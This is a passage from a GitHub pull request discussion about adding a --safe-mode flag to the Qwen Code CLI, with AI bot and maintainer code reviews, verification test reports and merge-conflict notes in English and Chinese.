  terminalSafe.ts  |     100 |      100 |     100 |     100 |                   
  ...Serializer.ts |   98.72 |       90 |     100 |   98.72 | 42-43,134,201-203 
  testUtils.ts     |   53.33 |      100 |   33.33 |   53.33 | ...53,59-64,70-72 
  textUtils.ts     |      65 |      100 |      75 |      65 | 56-75             
  thoughtUtils.ts  |     100 |    92.85 |     100 |     100 | 71                
  ...-converter.ts |   95.23 |    85.71 |     100 |   95.23 | 36-37             
  tool-utils.ts    |    93.6 |     91.3 |     100 |    93.6 | ...58-159,162-163 
  ...ultCleanup.ts |   51.85 |    63.63 |      75 |   51.85 | ...04-105,108-134 
  ...Compaction.ts |   95.68 |    95.32 |     100 |   95.68 | ...29-334,533-534 
  truncation.ts    |   75.55 |    86.02 |   71.42 |   75.55 | ...44-449,453-477 
  windowsPath.ts   |   89.47 |    79.31 |     100 |   89.47 | ...57-58,62,90-91 
  ...aceContext.ts |   95.81 |    89.39 |     100 |   95.81 | ...74-275,299-301 
  xml.ts           |    97.8 |     87.5 |     100 |    97.8 | 98-99             
  yaml-parser.ts   |   83.87 |    77.27 |     100 |   83.87 | ...31-234,239-240 
 ...ils/filesearch |   83.68 |    80.38 |   94.69 |   83.68 |                   
  crawlCache.ts    |     100 |      100 |     100 |     100 |                   
  crawler.ts       |   82.47 |    76.22 |      95 |   82.47 | ...1525,1559-1560 
  fileSearch.ts    |   93.78 |    87.67 |     100 |   93.78 | ...71-272,274-275 
  fzfWorker.ts     |       0 |        0 |       0 |       0 | 1-109             
  ...rkerHandle.ts |   84.05 |    75.43 |   89.47 |   84.05 | ...30-334,340-341 
  ignore.ts        |     100 |    97.36 |     100 |     100 | 187               
  result-cache.ts  |     100 |    93.75 |     100 |     100 | 49                
 ...uest-tokenizer |   68.81 |    73.82 |   83.87 |   68.81 |                   
  ...eTokenizer.ts |   65.72 |    74.02 |    92.3 |   65.72 | ...65-466,479-533 
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...tTokenizer.ts |   68.39 |    69.49 |    90.9 |   68.39 | ...24-325,327-328 
  ...ageFormats.ts |   76.92 |      100 |   33.33 |   76.92 | 46-49,56-57       
  textTokenizer.ts |     100 |      100 |     100 |     100 |                   
  types.ts         |       0 |        0 |       0 |       0 | 1                 
-------------------|---------|----------|---------|---------|-------------------

For detailed HTML reports, please see the 'coverage-reports-22.x-ubuntu-latest' artifact from the main CI run.

@qwen-code-ci-bot

qwen-code-ci-bot commented Jun 10, 2026

Copy link
Copy Markdown
Collaborator

Re-review of head d2615c3fix(safe-mode) follow-up plus three merges of main. CI is green across the board (Test pass on macOS / Ubuntu / Windows Node 22.x, CodeQL pass, Classify pass).

Code review

Implementation is clean and mechanically simple: each subsystem that already honors bareMode gets an || safeMode guard, plus a handful of safe-mode-only special cases (skills → bundled only, subagents → builtin only, /directory skips memory reload, extensions skipped entirely, CLI loader resets settings to defaults when safeMode is on). The centralized isSafeMode() method on Config is the right abstraction. The fix(safe-mode) follow-up commit addresses every item from the prior round — restores the bare-mode explicit-extension branch, switches env parsing to the shared isTruthy helper, and adds the missing Protocol export to the safe-mode.test.ts mock.

Two non-blocking observations:

  • The CLI loadCliConfig in packages/cli/src/config/config.ts now has ~25 occurrences of the literal bareMode || safeMode expression. A single const customizationsOff = bareMode || safeMode local would compress that into one identifier without changing behavior. Pure cleanup — not a blocker, but if you're already touching the file this round it's a one-line win.
  • packages/core/src/config/config.ts:1333 declares private readonly safeMode: boolean; (no non-null assertion), consistent with bareMode above it. Good.

Reuse-before-new-code check: isSafeModeEnv() lives next to isBareMode() in packages/core/src/utils/safe-mode.ts and reuses the shared isTruthy helper from bareMode.ts. No new duplicated logic. The agent tool in packages/core/src/tools/agent/agent.ts uses the same persisted-flag pattern that bare already uses — capturePersistedCliFlags + applyPersistedCliFlagOverrides — so subagents spawned from a safe-mode parent correctly inherit safe mode. Correct handling of a subtle case.

Nothing at the "critical blocker" or "AGENTS.md violation" level.

Real-scenario testing

Built from source in a fresh worktree at d2615c3 (npm installnpm run buildnpm run bundle, bundle at dist/cli.js, CLI v0.19.1). Fixture dir /tmp/safe-mode-fixture contains a QWEN.md with a unique marker (FIXTURE-QWEN-MD-MARKER-4943) so I can detect whether the file is loaded by watching input token counts and the assistant's thinking trace. Five scenarios, all driven under tmux:

=== [A] Installed qwen 0.19.2 has no --safe-mode ===
      --bare                            Minimal mode: skip implicit startup auto-discovery
                                        and only honor explicitly provided CLI inputs.
                                        [boolean] [default: false]

=== [B] PR-built qwen --safe-mode: banner + QWEN.md skipped ===
⚠ SAFE MODE — all customizations disabled (hooks, extensions, skills, MCP servers, QWEN.md).
              Restart without --safe-mode to resume normal operation.
input_tokens":0
input_tokens":15174
input_tokens":15168
input_tokens":15174
input_tokens":15168

=== [C] PR-built qwen normal mode: QWEN.md loaded ===
input_tokens":0
input_tokens":18607
input_tokens":18601

=== [D] QWEN_CODE_SAFE_MODE=true activates via env ===
⚠ SAFE MODE — all customizations disabled (hooks, extensions, skills, MCP servers, QWEN.md).
              Restart without --safe-mode to resume normal operation.

=== [E] QWEN_CODE_SAFE_MODE=true + --no-safe-mode overrides env var ===
(no banner; normal mode; input_tokens 18607; managed-auto-memory-extractor ran)
{"type":"system","subtype":"init","uuid":"514ed4ff-…","cwd":"/tmp/safe-mode-fixture",
 "tools":[…55…],"mcp_servers":[],"model":"qwen3.7-max","permission_mode":"default",
 "slash_commands":["auth","batch",…29 bundled…],"agents":["general-purpose","Explore","statusline-setup"],
 …"managed-auto-memory-extractor":{"api":{"totalRequests":1,…,"tokens":{"prompt":10500,…}}}}

All five expected behaviors observed:

  • [A] Installed 0.19.2 has no --safe-mode flag — confirms the feature is new in this PR.
  • [B] --safe-mode prints the warning banner and QWEN.md is not loaded: input tokens drop to 15 174 and the managed-auto-memory-extractor sub-request that normally runs on startup is absent (vs. present with ~10 500 prompt tokens in normal mode).
  • [C] Normal mode loads QWEN.md (input tokens 18 607, +3 433 vs. safe) and runs the memory extractor as expected.
  • [D] QWEN_CODE_SAFE_MODE=true env var activates safe mode without the CLI flag — same banner, same token profile.
  • [E] --no-safe-mode correctly overrides the env var (CLI flag wins) — no banner, normal token profile, memory extractor runs.

Side observation, not a PR issue: the model-side system prompt already contains "SAFE MODE PRE-CHECK" instructions to the model regardless of whether safe mode is active on the CLI side. That's a backend prompt change, not something this PR introduced or should address — flagging only because the thinking trace in [C] briefly references it.

中文说明

对 head d2615c3fix(safe-mode) 补丁 + 三次 main 合并)的复查。CI 全绿(macOS / Ubuntu / Windows Node 22.x Test 均 pass,CodeQL pass,Classify pass)。

代码审查

实现干净、机制清晰:每个已经识别 bareMode 的子系统都加了 || safeMode 守卫,外加少量 safe-mode 专属分支(skills → 仅 bundled、subagents → 仅 builtin/directory 跳过 memory 重载、extensions 整体跳过、CLI loader 在 safeMode 下把 settings 复位为默认)。Config 上的 isSafeMode() 是合适的抽象。fix(safe-mode) 补丁提交了上一轮所有反馈 —— 恢复了 bare-mode 显式 extension 分支、env 解析切到共享的 isTruthy helper、补上了 safe-mode.test.ts 缺失的 Protocol 导出。

两个非阻塞的观察:

  • CLI loadCliConfigpackages/cli/src/config/config.ts)里现在约 25 处出现字面量 bareMode || safeMode。一个 const customizationsOff = bareMode || safeMode 局部变量能把它们压成一个标识符而不改变行为。纯清理 —— 非阻塞,但既然这轮已经碰到这个文件,是一行就能拿下的收益。
  • packages/core/src/config/config.ts:1333 声明 private readonly safeMode: boolean;(无非空断言),与上面的 bareMode 一致。OK。

复用检查:isSafeModeEnv() 位于 packages/core/src/utils/safe-mode.ts,与 isBareMode() 相邻,复用 bareMode.tsisTruthy helper。没有新的重复逻辑。packages/core/src/tools/agent/agent.ts 里的 agent 工具沿用了 bare 已有的持久化标志模式 —— capturePersistedCliFlags + applyPersistedCliFlagOverrides —— 所以从 safe-mode 父代派生出来的 subagent 会正确继承 safe mode。这是一个微妙场景的正确处理。

没有"关键阻塞"或"AGENTS.md 违反"级别的问题。

真实场景测试

d2615c3 全新 worktree 构建(npm installnpm run buildnpm run bundle,bundle 位于 dist/cli.js,CLI v0.19.1)。fixture 目录 /tmp/safe-mode-fixture 含一个 QWEN.md,内嵌唯一标记 FIXTURE-QWEN-MD-MARKER-4943,这样从 input token 数和 assistant 的 thinking 就能判断文件是否被加载。5 个场景全部在 tmux 下驱动:

  • [A] 已安装的 0.19.2 没有 --safe-mode 标志 —— 确认这是本 PR 新增的功能。
  • [B] --safe-mode 打印警告横幅,且 QWEN.md 未被加载:input tokens 降到 15 174,启动时通常会出现的 managed-auto-memory-extractor 子请求也消失(正常模式下该请求约 10 500 prompt tokens)。
  • [C] 正常模式加载 QWEN.md(input tokens 18 607,比 safe 高 +3 433),并按预期跑 memory extractor。
  • [D] QWEN_CODE_SAFE_MODE=true 环境变量无需 CLI 标志即可激活 safe mode —— 同一横幅、同一 token 特征。
  • [E] --no-safe-mode 正确覆盖环境变量(CLI 标志优先)—— 无横幅,正常 token 特征,memory extractor 运行。

附带观察(非本 PR 问题):模型侧的 system prompt 已经包含 "SAFE MODE PRE-CHECK" 指令给模型,无论 CLI 端是否处于 safe mode。这是后端 prompt 变更,不是本 PR 引入或应处理的 —— 提一下只是因为 [C] 的 thinking trace 短暂引用了它。

Qwen Code · qwen3.7-max

@qwen-code-ci-bot

qwen-code-ci-bot commented Jun 10, 2026

Copy link
Copy Markdown
Collaborator

Re-review reflection on head d2615c3.

Stepping back: this is exactly what the PR promised. The motivation is real (users whose startup is broken by a bad hook / MCP server / malformed QWEN.md have no escape hatch today), the implementation is minimal (one guard per subsystem, mirroring the existing bareMode pattern line-for-line), and the verification holds up (CI green on three platforms, tmux E2E confirms banner + QWEN.md skip + env var activation + CLI-override-env precedence, maintainer's own Linux verification already on the thread).

Independent-proposal check: if I'd been handed the issue and asked to design it, I'd have landed on almost exactly the same shape — flag + env var, per-subsystem || safeMode guards, filter skills/subagents, skip context files, banner. The PR actually does more than my baseline: it persists the flag across subagent spawns (so a subagent launched from a safe-mode parent inherits safe mode), correctly handles CLI-flag-over-env precedence, and adds a stderr warning when --core-tools is silently ignored in safe mode. Those are genuine improvements over the naïve design, not scope creep.

Does it solve something users care about? Yes — "my CLI startup is broken and I don't know which customization did it" is a real support class, and a single-flag bypass collapses a whole troubleshooting flowchart into one invocation. Linked issue #4883 documents the demand.

Is the code straightforward? Yes. The 771 additions / 82 deletions across 25 files sounds like a lot, but most of it is tests (a dedicated config.safe-mode.test.ts suite plus mock updates in gemini.test.tsx, Footer.test.tsx, MemoryDialog.test.tsx, directoryCommand.test.tsx, agent.test.ts, skill-manager.test.ts, subagent-manager.test.ts) and the bareMode || safeMode repetition which, while slightly noisy, keeps each subsystem's guard local and readable. No over-abstraction, no speculative features, no auth/sandbox/telemetry/release-contract drift.

Is every change in the diff necessary? Yes — the fix(safe-mode) follow-up commit trimmed exactly the three things the prior review flagged and nothing else. No drive-by refactors, no formatting churn.

After seeing it run, do the results match the promise? Yes. The tmux captures above show the banner appearing, the input-token drop proving QWEN.md is skipped, the memory-extractor sub-request disappearing in safe mode, and the CLI flag correctly overriding the env var. All five scenarios behave as documented.

Would I curse the maintainer in six months? No — the guards are local, the helper is shared, the tests are co-located. Reverting safe mode would be a clean git revert; extending it to a new subsystem would be a one-line addition.

Approving. The bareMode || safeMode repetition is the only stylistic nit and it's not worth a round-trip — leaving it for a future cleanup PR.

中文说明

对 head d2615c3 的复查反思。

退一步看:这个 PR 完全兑现了承诺。动机真实(用户因坏掉的 hook / MCP server / 畸形 QWEN.md 导致启动失败,今天没有逃生口),实现最小(每个子系统一个守卫,逐行对齐现有 bareMode 模式),验证站得住(CI 三平台全绿,tmux E2E 确认横幅 + QWEN.md 跳过 + env 激活 + CLI 覆盖 env 优先级,维护者自己的 Linux 验证已经在帖子里)。

独立方案对照:如果把这个 issue 交给我设计,我几乎会落到完全相同的形态 —— 标志 + 环境变量、按子系统 || safeMode 守卫、过滤 skills/subagents、跳过上下文文件、横幅。PR 实际做得比我的基线更多:它在 subagent 派生时持久化标志(safe-mode 父代派生的 subagent 继承 safe mode)、正确处理 CLI 标志优先于 env、并在 --core-tools 被 safe mode 悄悄忽略时加了一条 stderr 警告。这些是对朴素设计的真实改进,不是范围蔓延。

是否解决了用户在意的问题?是 —— "我的 CLI 启动坏了,不知道是哪个自定义干的" 是真实的支持类别,单个标志位绕过能把一整套排障流程图压缩成一次调用。关联 issue #4883 记录了需求。

代码是否直截了当?是。25 个文件 771 增 / 82 删看起来很多,但大头是测试(专门的 config.safe-mode.test.ts 套件加上 gemini.test.tsxFooter.test.tsxMemoryDialog.test.tsxdirectoryCommand.test.tsxagent.test.tsskill-manager.test.tssubagent-manager.test.ts 的 mock 更新)和 bareMode || safeMode 重复 —— 后者虽然略显嘈杂,但让每个子系统的守卫保持本地可读。没有过度抽象、没有投机特性、没有 auth/sandbox/telemetry/release-contract 漂移。

diff 里每一处改动都必要吗?是 —— fix(safe-mode) 补丁精确削掉了上一轮点名的三项,没有别的。没有顺手重构、没有格式化折腾。

看到运行结果后,是否匹配承诺?是。上面的 tmux 捕获显示横幅出现、input token 下降证明 QWEN.md 被跳过、memory-extractor 子请求在 safe mode 下消失、CLI 标志正确覆盖 env。5 个场景都按文档行为运行。

6 个月后的我会骂维护者吗?不会 —— 守卫是局部的,helper 是共享的,测试是同文件的。回滚 safe mode 是一次干净的 git revert;把它扩展到新的子系统是一行改动。

通过。bareMode || safeMode 的重复是唯一的风格小问题,不值得再跑一轮 —— 留给未来的清理 PR。

Qwen Code · qwen3.7-max

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM, looks ready to ship. ✅

@DennisYu07

Copy link
Copy Markdown
Collaborator Author

@qwen-code-ci-bot please help me review again

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] packages/cli/src/services/FileCommandLoader.ts:82loadCommands() checks getBareMode() but not isSafeMode(). Custom slash commands from project/user/extension .qwen/commands/ directories are still discovered and loaded from the filesystem in safe mode. Same fix pattern: add || this.config?.isSafeMode?.() to the existing bare-mode early return.

— qwen3.7-max via Qwen Code /review

const subagentsCache = new Map();

const levels: SubagentLevel[] = ['project', 'user', 'builtin', 'extension'];
// Safe mode: only load builtin subagents

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] loadSubagent() (lines 195–215) doesn't check isSafeMode(). While refreshCache() and listSubagents() correctly restrict to ['builtin'] in safe mode, loadSubagent() searches project/user/extension levels by calling findSubagentByNameAtLevel()listSubagentsAtLevel(), which reads directly from disk via fs.readdir(), bypassing the guarded cache.

The primary caller (agent.ts) invokes loadSubagent() without any upstream safe-mode check, so user-defined subagents from .qwen/agents/ can still be loaded in safe mode — undermining the troubleshooting guarantee.

Suggested change
// Safe mode: only load builtin subagents
// Safe mode: only load builtin subagents
const levels: SubagentLevel[] = this.config.isSafeMode()
? ['builtin']
: ['project', 'user', 'builtin', 'extension'];

Also add a matching safe-mode guard at the top of loadSubagent() to skip non-builtin levels (session + builtin only), mirroring the logic here.

— qwen3.7-max via Qwen Code /review

// Safe mode: only load bundled (system) skills
const levels: SkillLevel[] = this.config.isSafeMode()
? ['bundled']
: ['project', 'user', 'extension', 'bundled'];

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Same class of gap as subagent-manager.ts: loadSkill() (line ~315) doesn't check isSafeMode(). The ensureLevelCache() path (line ~1138) populates any missing level on demand via listSkillsAtLevel(), which only checks getBareMode() (line ~941), not isSafeMode().

User-defined skills from .qwen/skills/ (project) or ~/.qwen/skills/ (user) can be loaded and executed in safe mode. While the available_skills list shown to the model is properly restricted (via listSkills() which uses the guarded cache), the model can still invoke a user skill by name, and ensureLevelCache will read it from disk.

Add an isSafeMode() guard to loadSkill() (returning only from bundled level) or to ensureLevelCache() / listSkillsAtLevel() (returning [] for non-bundled levels in safe mode, mirroring the existing getBareMode() check at line ~941).

— qwen3.7-max via Qwen Code /review

return { ExtensionManager: ExtensionManagerMock };
});

vi.mock('../skills/skill-manager.js', () => {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] The test suite mocks SkillManager entirely (and ExtensionManager, HookSystem, etc.), so the safe-mode guards added in this PR to skill-manager.ts:refreshCache() and subagent-manager.ts:refreshCache()/listSubagents() are never exercised by any test.

There are no tests verifying that loadSkill() or loadSubagent() restrict levels in safe mode — the exact gap that the two Critical findings above expose. Regressions in those guards would go undetected.

Consider adding integration-style tests (or unit tests at the manager level with real filesystem mocks) that verify:

  • SubagentManager.loadSubagent('name') returns null for project/user levels in safe mode
  • SkillManager.loadSkill('name') returns null for project/user levels in safe mode

— qwen3.7-max via Qwen Code /review

DragonnZhang
DragonnZhang previously approved these changes Jun 11, 2026

@DragonnZhang DragonnZhang left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Summary

Reviewed the full diff (795 lines, 13 files) introducing a --safe-mode CLI flag and QWEN_CODE_SAFE_MODE env var to disable all user customizations for troubleshooting.

Review verdict: APPROVE

The implementation is well-designed and consistent with the existing bareMode pattern throughout the codebase. Key strengths:

  1. Correct CLI/env precedence--no-safe-mode correctly overrides QWEN_CODE_SAFE_MODE=true by checking argv.safeMode !== undefined before falling through to the env var. This matches yargs boolean-flag conventions.

  2. Thorough subsystem disabling — Safe mode is propagated consistently through hooks (disableAllHooks), extensions (extensionManager refresh skip), MCP (servers map zeroed in CLI config + skipInlineMcpDiscovery + background discovery guard), skills (only bundled level loaded), subagents (only builtin level loaded), context files (refreshHierarchicalMemory early return), auto-memory/dream/skill toggles, and allowed HTTP hook URLs.

  3. Good test coverage on the Config layerconfig.safe-mode.test.ts exercises default, env, param, precedence, and subsystem-disable scenarios. Mock stubs for isSafeMode are added to every test file that uses the Config mock, preventing silent regressions.

  4. UI feedback is appropriate — Startup warning banner and footer badge give users clear visibility that safe mode is active.

  5. Daemon stub (workspaceAgents.ts) correctly hardcodes isSafeMode: () => false since the daemon serves background requests independent of the user's CLI invocation.

Minor observations (not blocking)

  • SubagentManager.listSubagents silently coerces a caller-specified options.level to ['builtin'] when in safe mode. Production callers (nonInteractiveHelpers.ts, workspaceAgents.ts, tools/agent/agent.ts) don't pass level, so this is harmless today, but the implicit override could surprise a future caller that passes e.g. { level: 'project' } and silently receives builtin subagents instead. Consider either logging a debug message when the coercion fires, or returning [] for non-builtin explicit requests so the behavior is observable.

  • skill-manager.ts / subagent-manager.ts have no unit tests for the new safe-mode branches (only the bundled/builtin level restriction). The Config-level tests cover the integration surface, but targeted tests in these managers would guard against future refactors that accidentally bypass the isSafeMode() check.

  • MCP discovery guard redundancyskipInlineMcpDiscovery already includes this.isSafeMode(), so the additional && !this.isSafeMode() on the startMcpDiscoveryInBackground() call site is logically redundant (safe mode already sets skipInlineMcpDiscovery = true). Not wrong — it's defensive — but worth a comment explaining the belt-and-suspenders intent so a future reader doesn't "clean it up."

None of these are correctness bugs. The PR ships clean, safe behavior and is ready to merge.

wenshao
wenshao previously approved these changes Jun 12, 2026
@wenshao

wenshao commented Jun 12, 2026

Copy link
Copy Markdown
Collaborator

Local runtime verification report (maintainer)

Verified this PR at head f69a1981f with a locally built bundle, a real model (qwen3.7-max), and tmux-driven interactive sessions, against a deliberately heavily customized fixture project (QWEN.md + PreToolUse hook + MCP server + project skill + project agent) so safe mode has something real to disable in every category.

Functional verdict: all 7 steps of the Reviewer Test Plan pass, plus file-side-effect and event-stream cross-checks. The feature works as described.

⚠ Merge blocker first: the PR is currently CONFLICTING with main (it sits 42 commits behind). The conflict is small and mechanical — details and a suggested resolution below — but it must be rebased before merge, and one of the conflicted lines is exactly a safe-mode gate, so I'd recommend a quick re-run of the MCP checks after rebase.

1. Conflict analysis (for the rebase)

Single file: packages/core/src/config/config.ts, two hunks, both in initialize()'s MCP-discovery gating — this PR adds this.isSafeMode() to the same lines where main (PR #4969-era ACP work) added options?.skipMcpDiscovery:

  • Hunk 1 (skipInlineMcpDiscovery): both sides add an OR-condition to the same expression. Resolution: keep all of this.getBareMode() || this.isSafeMode() || !legacyBlockingMcp || options?.skipMcpDiscovery === true.
  • Hunk 2 (background-discovery gate): same shape. Resolution: skipInlineMcpDiscovery && !this.getBareMode() && !this.isSafeMode() && !options?.skipMcpDiscovery.

The two changes are semantically orthogonal (safe mode vs ACP bootstrap path) and compose by simply keeping both conditions.

2. Build + test suites (PR branch as-is)

  • npm install && npm run bundle → clean (dist/cli.js v0.17.1).
  • New config.safe-mode.test.ts: 13/13 pass. Touched cli suites (Footer, MemoryDialog, slashCommandProcessor, gemini): 98/98 pass. Zero failures/skips.
  • CI on the PR head: Lint, CodeQL, 3-platform tests all green (note: green against the old base, not against current main).

3. Headless A/B — same prompt, normal vs --safe-mode

Prompt: "Run ls with the shell tool, then answer: what is the project fruit?" (the fixture's QWEN.md instructs the answer PINEAPPLE-7777), --output-format json:

Signal (from init event + side effects) Normal --safe-mode
mcp_servers [{session-mcp, connected}] []
agents [customagent, general-purpose, Explore, statusline-setup] builtin onlycustomagent gone
PreToolUse hook (file side effect) fired (1 line in log) did not fire (0 lines)
QWEN.md in context answered PINEAPPLE-7777 directly — 1 tool call (just ls) model didn't know the answer from context and had to read_file QWEN.md itself (2 tool calls) before answering

The last row is worth spelling out: in safe mode the marker string still appears in the final answer, but the event stream shows why — the system prompt didn't contain QWEN.md, so the model explicitly read the file as a tool call. The normal-mode run answered from injected context without reading anything. That's a sharper proof of "context files skipped" than the answer text alone.

4. Interactive rounds (tmux)

  • --safe-mode: startup banner ⚠ SAFE MODE — all customizations disabled (hooks, extensions, skills, MCP servers, QWEN.md)… ✅; footer shows ⚠ Safe Mode ✅; /skills lists only (Bundled) entries — custom-marker-skill absent ✅; /mcp0 servers ✅.
  • QWEN_CODE_SAFE_MODE=true (no flag): identical banner + footer ✅.
  • QWEN_CODE_SAFE_MODE=true + --no-safe-mode: zero safe-mode markers, /mcp shows session-mcp · ✓ connected — CLI flag correctly overrides the env var ✅.
  • Normal-mode regression: /skills shows custom-marker-skill (Project) again; the headless baseline above already confirmed MCP/agents/hook/context all behave as before ✅.

5. Code-review notes

  • Safe mode consistently piggybacks on the existing bareMode gates (getBareMode() || isSafeMode()) rather than inventing parallel paths — extensions skipped, skills cache-only (bundled level), both inline and background MCP discovery gated, refreshHierarchicalMemory short-circuits (and resets the conditional-rules registry), hooks force-disabled, auto-memory/dream/skill off, allowedHttpHookUrls emptied. The "only skips loading, never forces loading" claim matches the diff.
  • Flag plumbing is sound: yargs boolean → --no-safe-mode yields false (not undefined), so the cli-level resolution (argv.safeMode !== undefined ? argv.safeMode : env) gives the flag precedence; core's constructor has the same env fallback for non-CLI embedders, and params.safeMode ?? env correctly does not re-read the env when the CLI passed an explicit false. The serve daemon's config stub pins isSafeMode: () => false so the Proxy guard doesn't trip.
  • MemoryDialog toggles read as off in safe mode, mirroring bare mode.

6. Not covered here

  • Extensions in safe mode — no extension installed in my fixture; covered by the gating code path + unit tests only.
  • Conditional rules (.qwen/rules) — exercised only via the refreshHierarchicalMemory reset path, no dedicated rules fixture.
  • /doctor integration — author explicitly defers it.
  • Windows/Linux interactive behavior — CI's unit matrix is green; my tmux run is macOS.
  • Anything about how these gates interact with the post-rebase skipMcpDiscovery option — that code doesn't exist on this branch yet; re-check after rebase (see §1).

Verdict

Feature-wise this does exactly what it says in every category I could make observable, with clean implementation choices. Recommend merge after rebase: the conflict is two mechanical hunks (resolution above), and since both sit on the MCP-discovery gate, re-running the /mcp-empty check (§4, 30 seconds) on the rebased branch is cheap insurance.


Environment: macOS (Darwin 25.5.0), Node v22.22.2, branch @ f69a1981f (PR as-is, 42 commits behind main), npm run bundle + node dist/cli.js, tmux-driven TUI + headless --output-format json A/B, fixture at /tmp/pr4943-e2e.

中文版(Chinese version)

本地运行时验证报告(维护者)

在 head f69a1981f 本地构建 bundle,用真实模型(qwen3.7-max)+ tmux 驱动交互会话,在一个刻意重度自定义的 fixture 项目(QWEN.md + PreToolUse hook + MCP server + 项目 skill + 项目 agent)上验证——让 safe mode 在每个类别都有真实的东西可禁。

功能结论:Reviewer Test Plan 全部 7 步通过,外加文件副作用与事件流交叉验证。特性按描述工作。

⚠ 但合并阻塞项优先:PR 当前与 main 处于 CONFLICTING 状态(落后 42 个 commit)。冲突小且机械——下文给出详情与建议解法——但合并前必须 rebase,且其中一处冲突行恰好是 safe-mode 门控,建议 rebase 后快速复跑 MCP 相关检查。

1. 冲突分析(供 rebase 参考)

单文件:packages/core/src/config/config.ts,两个 hunk,均在 initialize() 的 MCP discovery 门控——本 PR 在同一行加 this.isSafeMode(),而 main(ACP 相关工作)在同一处加了 options?.skipMcpDiscovery:

  • Hunk 1(skipInlineMcpDiscovery):双方都向同一表达式加 OR 条件。解法:全保留 this.getBareMode() || this.isSafeMode() || !legacyBlockingMcp || options?.skipMcpDiscovery === true
  • Hunk 2(后台 discovery 门控):同形。解法:skipInlineMcpDiscovery && !this.getBareMode() && !this.isSafeMode() && !options?.skipMcpDiscovery

两处改动语义正交(safe mode vs ACP bootstrap),叠加保留即可。

2. 构建 + 测试套件(PR 分支原样)

  • npm install && npm run bundle → 干净(dist/cli.js v0.17.1)
  • 新增 config.safe-mode.test.ts:13/13 通过;受影响的 cli 套件(Footer、MemoryDialog、slashCommandProcessor、gemini):98/98 通过。零失败零跳过
  • PR head 上的 CI:Lint、CodeQL、三平台测试全绿(注意:绿是相对旧基线,非当前 main)

3. Headless A/B —— 同一 prompt,normal vs --safe-mode

Prompt:"用 shell 工具跑 ls,然后回答:项目水果是什么?"(fixture 的 QWEN.md 指示答案为 PINEAPPLE-7777),--output-format json:

信号(来自 init 事件 + 副作用) Normal --safe-mode
mcp_servers [{session-mcp, connected}] []
agents customagent 仅 builtin —— customagent 消失
PreToolUse hook(文件副作用) 触发(log 1 行) 未触发(0 行)
QWEN.md 注入 直接答出 PINEAPPLE-7777 —— 1 次工具调用(仅 ls) 模型从上下文不知道答案,被迫自己 read_file QWEN.md(2 次工具调用)后才作答

最后一行值得展开:safe mode 下最终答案里仍出现 marker,但事件流揭示了原因——系统提示中没有 QWEN.md,模型是显式调工具读的文件;normal 轮则直接从注入的上下文作答、无需读任何文件。这比单看答案文本是更锐利的"context 文件被跳过"证明。

4. 交互轮(tmux)

  • --safe-mode:启动横幅 ⚠ SAFE MODE — all customizations disabled… ✅;footer 显示 ⚠ Safe Mode ✅;/skills 仅列 (Bundled) 条目——custom-marker-skill 消失 ✅;/mcp0 servers
  • QWEN_CODE_SAFE_MODE=true(无 flag):横幅 + footer 完全一致 ✅
  • QWEN_CODE_SAFE_MODE=true + --no-safe-mode: safe-mode 标记,/mcp 显示 session-mcp · ✓ connected —— CLI flag 正确覆盖环境变量 ✅
  • 正常模式回归:/skills 重新显示 custom-marker-skill (Project);上面的 headless 基线已确认 MCP/agents/hook/context 行为如旧 ✅

5. 代码审阅备注

  • Safe mode 一致地搭载既有 bareMode 门控(getBareMode() || isSafeMode())而非另起平行路径——扩展跳过、skills 仅 cache bundled 层、inline + 后台 MCP discovery 双双门控、refreshHierarchicalMemory 短路(并重置 conditional-rules registry)、hooks 强制禁用、auto-memory/dream/skill 关闭、allowedHttpHookUrls 清空。"只跳过加载、从不强制加载"的声明与 diff 相符
  • Flag 管道正确:yargs boolean 下 --no-safe-mode 产生 false(非 undefined),cli 层 argv.safeMode !== undefined ? argv.safeMode : env 保证 flag 优先;core 构造器为非 CLI 嵌入方保留同样的 env fallback,且 params.safeMode ?? env 在 CLI 显式传 false不会再读 env。serve 守护进程的 config stub 固定 isSafeMode: () => false,Proxy 守卫不会误触
  • MemoryDialog 开关在 safe mode 下读为关闭,与 bare mode 一致

6. 本次未覆盖

  • safe mode 下的扩展——fixture 未安装扩展;仅由门控代码路径 + 单测覆盖
  • 条件规则(.qwen/rules)——仅经 refreshHierarchicalMemory 重置路径验证,无专门 rules fixture
  • /doctor 集成——作者明确延后
  • Windows/Linux 交互行为——CI 单测矩阵绿;我的 tmux 验证在 macOS
  • 这些门控与 rebase 后 skipMcpDiscovery 选项的交互——该代码在本分支尚不存在;rebase 后复查(见 §1)

结论

功能层面,在我能构造出可观测信号的每个类别中,它都精确做到了描述的行为,实现选择干净。建议 rebase 后合并:冲突是两个机械 hunk(解法见上),且都落在 MCP discovery 门控上,rebase 后在新分支复跑一次 /mcp 为空的检查(§4,30 秒)是廉价的保险。


环境:macOS (Darwin 25.5.0)、Node v22.22.2、分支 @ f69a1981f(PR 原样,落后 main 42 个 commit)、npm run bundle + node dist/cli.js、tmux 驱动 TUI + headless --output-format json A/B、fixture 位于 /tmp/pr4943-e2e

@wenshao

wenshao commented Jun 12, 2026

Copy link
Copy Markdown
Collaborator

This PR now has merge conflicts with main. Please rebase or merge the latest main into your branch so we can continue the review. Thanks!

@DennisYu07
DennisYu07 dismissed stale reviews from wenshao and DragonnZhang via 54a9c6c June 14, 2026 09:30
@wenshao

wenshao commented Jun 14, 2026

Copy link
Copy Markdown
Collaborator

@qwen-code /triage

@wenshao

wenshao commented Jun 14, 2026

Copy link
Copy Markdown
Collaborator

✅ Local verification report — real interactive (tmux) testing

I built this PR from source and exercised it as a real interactive session (driven under an isolated tmux socket), not just unit tests. Posting the results as a merge reference.

Setup

  • Branch: feat/safe-mode @ c8fa93e (fresh git worktree + npm install + npm run build), CLI v0.18.0
